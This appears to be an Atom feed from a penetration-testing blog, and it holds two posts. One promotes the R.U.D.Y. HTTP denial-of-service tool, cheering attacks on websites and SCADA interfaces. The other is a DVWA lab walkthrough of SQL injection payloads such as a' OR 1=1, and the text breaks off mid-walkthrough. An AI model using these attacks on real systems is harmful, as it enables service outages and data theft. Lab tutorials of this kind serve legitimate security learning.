<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-456962442660639401</id><updated>2011-12-31T22:11:41.485-08:00</updated><category term='wireless security'/><category term='dns'/><category term='python'/><category term='lfi'/><category term='wireless'/><category term='checkpoint'/><category term='rfi'/><category term='scanning'/><category term='tutorial'/><category term='nmap'/><category term='Networking'/><category term='sqli'/><category term='DoS'/><category term='IWD 2243'/><category term='RFID'/><category term='Slowloris'/><category term='firewall'/><category term='pix'/><title type='text'>Penetration Engineer                                                   عدلی</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>77</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-7571728389784200112</id><published>2010-11-28T18:00:00.000-08:00</published><updated>2010-11-28T18:00:32.009-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><title type='text'>Universal HTTP DoS - Are You Dead Yet?</title><content type='html'>A generic flaw in the way HTTP works?&lt;br /&gt;Now that's the kinda stuff I always like to hear about.&lt;br /&gt;Oh, you mean to tell me that once again Web Application Firewalls cannot  stop this attack?&lt;br /&gt;Allow me to put on my "surprised" face again. Of course WAF cannot  handle this. WAF do not really detect traffic anomalies. WAF simply do  what they were programmed to do - detect pre-defined white/black list  patterns.&lt;br /&gt;Some boffins talked about this attack at OWASP:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/images/4/43/Layer_7_DDOS.pdf"&gt;http://www.owasp.org/images/4/43/Layer_7_DDOS.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So trivial we all wonder why nobody's thought of this prior to late  2010...&lt;br /&gt;We simply find a nice web form to flood with never-ending POST values.&lt;br /&gt;Add in connection&amp;nbsp;concurrence&amp;nbsp;in the tens-to-hundreds scale per  client,&amp;nbsp;et voilà:&lt;br /&gt;Application layer Denial-of-Service attack.&lt;br /&gt;At the time of this writing, I could not find any efficient PoC code. So  I wrote my own.&lt;br /&gt;Introducing: "R-U-Dead-Yet" or R.U.D.Y.&lt;br /&gt;Distributed or not, this baby knocks down websites and web-enabled  devices.&lt;br /&gt;Apache? No problem for R.U.D.Y. IIS escaped the SlowLoris attack? it  won't escape this time. Think you're ok cuz you wrote in ASP.NET / Java /  PHP / whatever? Guess again. This attack is universal!&lt;br /&gt;All you need could be an antique machine running Linux (tested and  verified with Ubuntu).&lt;br /&gt;With built-in detection of web forms and form fields suitable for  attack, and unattended execution using pre-defined configuration files,  this tool is simple enough for anyone to use.&lt;br /&gt;I know not of any firewall / IPS, including WAF, that will currently  cope with this attack.&lt;br /&gt;And of course, as cyber warfare is our current hype, SCADA systems using  web interfaces can also be attacked, according to the researchers  behind the idea. Considering automatic discovery of Web-facing SCADA  equipment using the &lt;a href="http://www.shodanhq.com/"&gt;SHODAN&lt;/a&gt; search  engine, this could be major...&lt;br /&gt;So without much further ado, let the mayhem, anarchy and general fun  begin!&lt;br /&gt;&lt;br /&gt;Download R-U-Dead-Yet at:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/r-u-dead-yet/"&gt;http://code.google.com/p/r-u-dead-yet/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;http://chaptersinwebsecurity.blogspot.com/2010/11/universal-http-dos-are-you-dead-yet.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/456962442660639401-7571728389784200112?l=penetrationengineer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://penetrationengineer.blogspot.com/feeds/7571728389784200112/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=456962442660639401&amp;postID=7571728389784200112' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/7571728389784200112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/456962442660639401/posts/default/7571728389784200112'/><link rel='alternate' type='text/html' href='http://penetrationengineer.blogspot.com/2010/11/universal-http-dos-are-you-dead-yet.html' title='Universal HTTP DoS - Are You Dead Yet?'/><author><name>عدلی</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://1.bp.blogspot.com/_AamnZyf3C_A/SVhlfeRBfII/AAAAAAAAAIA/T4ZqWALyCFw/S220/kenshin+O_O.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-456962442660639401.post-4916077203322048635</id><published>2010-10-09T10:21:00.000-07:00</published><updated>2010-10-09T10:22:55.126-07:00</updated><title type='text'>SQL Injection Walkthrough (DVWA)</title><content type='html'>&lt;span class="Apple-style-span" style="color: white; font-family: Arial; font-size: 8px; line-height: 10px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: medium;"&gt;&lt;span style="font-family: Impact, serif;"&gt;(&lt;a href="http://www.hackyeah.com/wp-content/uploads/2010/05/HackYeah-SQL-Injection.pdf" style="color: #a2a2a2; text-decoration: underline;" title="SQL Injection Walkthrough - PDF"&gt;A PDF VERSION CAN BE DOWNLOADED HERE&lt;/a&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Intro"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: medium;"&gt;&lt;strong&gt;Intro:&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;The goal of this paper is to help explain and demonstrate some of the dangers of SQL injection. It is in no way complete, and it is far from comprehensive. If you have any comments, suggestions, corrections, etc…please send them to Trenton@HackYeah.com&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;I have always believed that the best way to learn is to do. For this reason, I have tried to provide the reader a reference to use when practicing SQL injection. You are highly encouraged to follow along and try the following examples as you read.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span id="more-84"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;For the rest of this tutorial we will use Damn Vulnerable Web App (DVWA) as our practice grounds. The sources listed at the end of this paper contains both a link to the DVWA download, and to the official install instructions. Do not install DVWA in a production environment. It could cause your host to be compromised (by the techniques listed below, among others).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;I have used the XAMPP server package (Apache with MySQL) in a Windows environment for this walkthrough. This can be done with other web servers, or OS types, but some of the injections will need to be tailored accordingly.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Injection Intro"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: medium;"&gt;&lt;strong&gt;Injection Intro:&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;The following definition has been borrowed from Wikipedia: SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed … SQL injection attacks are also known as SQL insertion attacks.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;Rephrased, this means that we may be able to use special input to trick the SQL server to do what we want it to do.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Formatting:&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;The following injections can be split into three parts. For the sake of simplicity we will call these three parts the injection prefix, expression, and suffix. For the remainder of this paper I will refer to these three parts, when placed together, as the injection phrase. This will be&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;red&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;in color – it is what you will insert into the text box. The whole query (the original SQL query plus our injection phrase) will be referred to as the SQL injection query. I have shown the whole query, so that you can better understand what the SQL server is processing after we insert the injection phrase.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;The “&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;injection prefix&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;” is a modification of an expected query that attempts to break us free of the expected input and place the rest of our input directly into the SQL query.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;The “&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;injection expression&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;” contains the specific query used to gain information or execute code.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;The “&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;injection suffix&lt;/em&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;” will attempt to manage the formatting of the query to prevent unwanted syntax errors. This is usually done by commenting out the rest of the query. This task can also be accomplished by creating proper SQL syntax.&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="SQL Injection Walkthrough With DVWA"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: medium;"&gt;&lt;strong&gt;SQL INJECTION WALKTHROUGH WITH DVWA&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;Once you have XAMPP running correctly. Simply place the DVWA folder into your server’s root web directory (In a test environment only!). In this tutorial, DVWA will be located at c:\xampp\htdocs\dvwa.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;Add the database login name and password to the DVWA configuration file located at …\dvwa\config\config.inc.php. With any web browser, go to&amp;nbsp;&lt;a href="http://127.0.0.1/dvwa" style="color: #a2a2a2; text-decoration: underline;"&gt;http://127.0.0.1/dvwa&lt;/a&gt;. You will be prompt to “setup the database”. Click the noted link. If all goes well DVWA should note that setup was successful. Click on the “DVWA Security” tab. You will be prompted to insert a username and password. Log in with&lt;strong&gt;admin&lt;/strong&gt;&amp;nbsp;as the username and&amp;nbsp;&lt;strong&gt;password&lt;/strong&gt;&amp;nbsp;as the password (They don’t call it DVWA for nothing). Set the security to low, and click submit. Click on the “SQL Injection” tab…we are now ready to go.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;Although you can attack the server from the server (127.0.0.1 – localhost), If you want to use another computer to attack this vulnerable host, you will need to modify …\dvwa\.htaccess to include your network address. This helps prevent DVWA from being abused from outsiders.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;span style="font-size: x-small;"&gt;Insert the text from the following examples noted in&amp;nbsp;&lt;span style="color: red;"&gt;red&lt;/span&gt;&amp;nbsp;into the User ID box, and then click Submit to see what happens.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Check expected results"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Check expected results:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Results:&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;ID:&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;1&lt;/span&gt;&lt;/span&gt;&amp;nbsp;First name: admin&lt;br /&gt;Surname: admin&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;Note that we could cycle through each user to find out who, and how many there are. Something like this is an obvious information disclosure vulnerability.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Check for hanling of quotes"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Check for handling of quotes:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;= ‘&lt;/span&gt;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;O’Malley&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;We will use something that looks benign to check for quote handling errors&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘Malley&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;” at line 1&lt;/span&gt;&lt;/li&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;We can see that everything after the single quote is being treated as a SQL request.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=456962442660639401&amp;amp;postID=4916077203322048635" name="Check the results of an OR True statement - First Try"&gt;&lt;/a&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Check the results of an OR True statement – First Try:&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;SELECT&amp;nbsp;first_name,&amp;nbsp;last_name&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;user_id&amp;nbsp;=&amp;nbsp;’&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: red;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;em&gt;&lt;strong&gt;a’ OR 1=1;–&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #0070c0;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;‘”&lt;/span&gt;&lt;/span&gt;&lt;ul style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 15px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: white; font-family: Arial; font-size: 13px; line-height: 18px; margin-bottom: 0px; margin-left: 25px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;span style="font-family: Consolas, serif;"&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: Consolas, serif;"&gt;You have an 